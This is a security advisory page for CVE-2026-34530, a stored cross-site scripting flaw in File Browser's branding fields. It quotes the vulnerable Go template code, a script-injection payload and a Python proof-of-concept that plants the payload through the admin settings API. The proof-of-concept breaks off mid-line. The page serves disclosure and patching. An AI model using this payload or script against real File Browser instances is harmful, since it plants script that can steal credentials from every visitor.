Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-34530 — filebrowser

🟡 CVSS 6.9 — Medium ⚠️ Exploit Public CWE-79 NVD
6.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection

Summary

The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.

<br/>

Details

http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:

```go

// http/static.go, line 16 — imports text/template instead of html/template

"text/template"

// http/static.go, line 33 — branding.Name passed into template data

"Name": d.settings.Branding.Name,

// http/static.go, line 97 — template parsed with custom delimiters, no escaping

index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))

```

The frontend template (frontend/public/index.html) embeds these fields directly:

```html

<!-- frontend/public/index.html, line 16 -->

[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]

<!-- frontend/public/index.html, line 42 -->

content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"

```

Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.

Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as:

```html

<script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script>

```

This allows loading arbitrary JavaScript from an admin-chosen origin.

No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.

<br/>

PoC

Below is the PoC python script that could be ran on test environment using docker compose:

```yaml

services:

filebrowser:

image: filebrowser/filebrowser:v2.62.1

user: 0:0

ports:

  • "80:80"

```

And running this PoC python script:

```python

import argparse

import json

import sys

import requests

BANNER = """

Stored XSS via Branding Injection PoC

Affected: filebrowser/filebrowser <=v2.62.1

Root cause: http/static.go uses text/template (not html/template)

Branding fields rendered unescaped into SPA index.html

"""

XSS_MARKER = "XSS_BRANDING_POC_12345"

XSS_PAYLOAD = (

'</title><script>window.' + XSS_MARKER + '=1;'

'alert("XSS in File Browser branding")</script><title>'

)

def login(base: str, username: str, password: str) -> str:

r = requests.post(f"{base}/api/login",

json={"username": username, "password": password},

timeout=10)

if r.status_code != 200:

print(f" Login failed: {r.status_code}")

sys.exit(1)

return r.text.strip('"')

def main():

sys.stdout.write(BANNER)

sys.stdout.flush()

ap = argparse.ArgumentParser(

formatter_class=argparse.RawDescriptionHelpFormatter,

description="Stored XSS via branding injection PoC",

epilog="""examples:

%(prog)s -t http://localhost -u admin -p admin

%(prog)s -t http://target.com/filebrowser -u admin -p secret

how it works:

1. Authenticates as admin to File Browser

2. Sets branding.name to a <script> payload via PUT /api/settings

3. Fetches the SPA index (unauthenticated) to verify the payload

renders unescaped in the HTML <title> tag

root cause:

http/static.go renders the SPA index.html using Go's text/template

(NOT html/template) with custom delimiters [{[ and ]}].

Branding fields like Name are inserted directly into HTML:

<title>[{[.Name]}]</title>

No escaping is applied, so HTML/JS in the name breaks out of

the <title> tag and executes as script.

impact:

Stored XSS affecting ALL visitors (including unauthenticated).

An admin (or attacker who compromised admin) can inject persistent

JavaScript that steals credentials from every user who visits.""",

)

ap.add_argument("-t", "--target", required=True,

help="Base URL of File Browser (e.g. http://localhost)")

ap.add_argument("-u", "--user", required=True,

help="Admin username")

ap.add_argument("-p", "--password", required=True,

help="Admin password")

if len(sys.argv) == 1:

ap.print_help()

sys.exit(1)

args = ap.parse_args()

base = args.target.rstrip("/")

hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}

print()

print("[*] ATTACK BEGINS...")

print("====================")

print(f"\n [1] Authenticating to {base}")

token = login(base, args.user, args.password)

print(f" Logged in as: {args.user}")

print(f"\n [2] Injecting XSS payload into branding.name")

r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10)

if r.st

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-34530 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-34530 is recorded against 3 packages.

  • filebrowser (fixed in 2.62.2)
  • github.com/filebrowser/filebrowser
  • github.com/filebrowser/filebrowser/v2

Timeline and source

Published on 1 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com
github.com

Other advisories for this package

filebrowser has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-79: Cross-site Scripting (XSS)) in other software:

Details

Severity MEDIUM
CVSS Score 6.9
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
CWE CWE-79
Public Exploit ⚠️ Yes
Source NVD
Published 2026-04-01
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
filebrowser — 2.62.2
github.com/filebrowser/filebrowser — —
github.com/filebrowser/filebrowser/v2 — —

Similar Threats

Exploit Protection

Are you running filebrowser?

CVE-2026-34530 carries CVSS 6.9 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-34530 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓